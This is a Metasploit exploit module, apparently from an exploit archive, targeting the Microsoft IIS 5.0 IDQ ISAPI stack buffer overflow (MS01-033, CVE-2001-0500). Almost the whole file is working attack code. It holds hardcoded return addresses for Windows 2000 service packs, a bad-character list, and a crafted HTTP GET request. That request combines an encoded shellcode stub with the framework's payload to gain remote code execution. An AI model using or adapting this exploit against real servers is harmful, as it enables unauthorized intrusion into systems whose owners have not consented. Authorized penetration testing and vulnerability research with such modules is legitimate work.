Microsoft IIS 5.0 - IDQ Path Overflow (MS01-033) (Metasploit)

##
# $Id: ms01_033_idq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft IIS 5.0 IDQ Path Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the IDQ ISAPI handler for
				Microsoft Index Server.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2001-0500'],
					[ 'OSVDB', '568'],
					[ 'MSB', 'MS01-033'],
					[ 'BID', '2880'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},

			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},

			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English SP0',     { 'Ret' => '0x6e8f3e24' } ],
					[ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
				],
			'DisclosureDate' => 'Jun 18 2001',
			'DefaultTarget' => 0))

		register_options([Opt::RPORT(80)], self.class)
	end

	def exploit
		connect

		sploit =  rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
		sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
		sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
		sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)

		uri = '/' + sploit + payload.encoded

		res = "GET #{uri}\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(res)

		handler
		disconnect
	end

end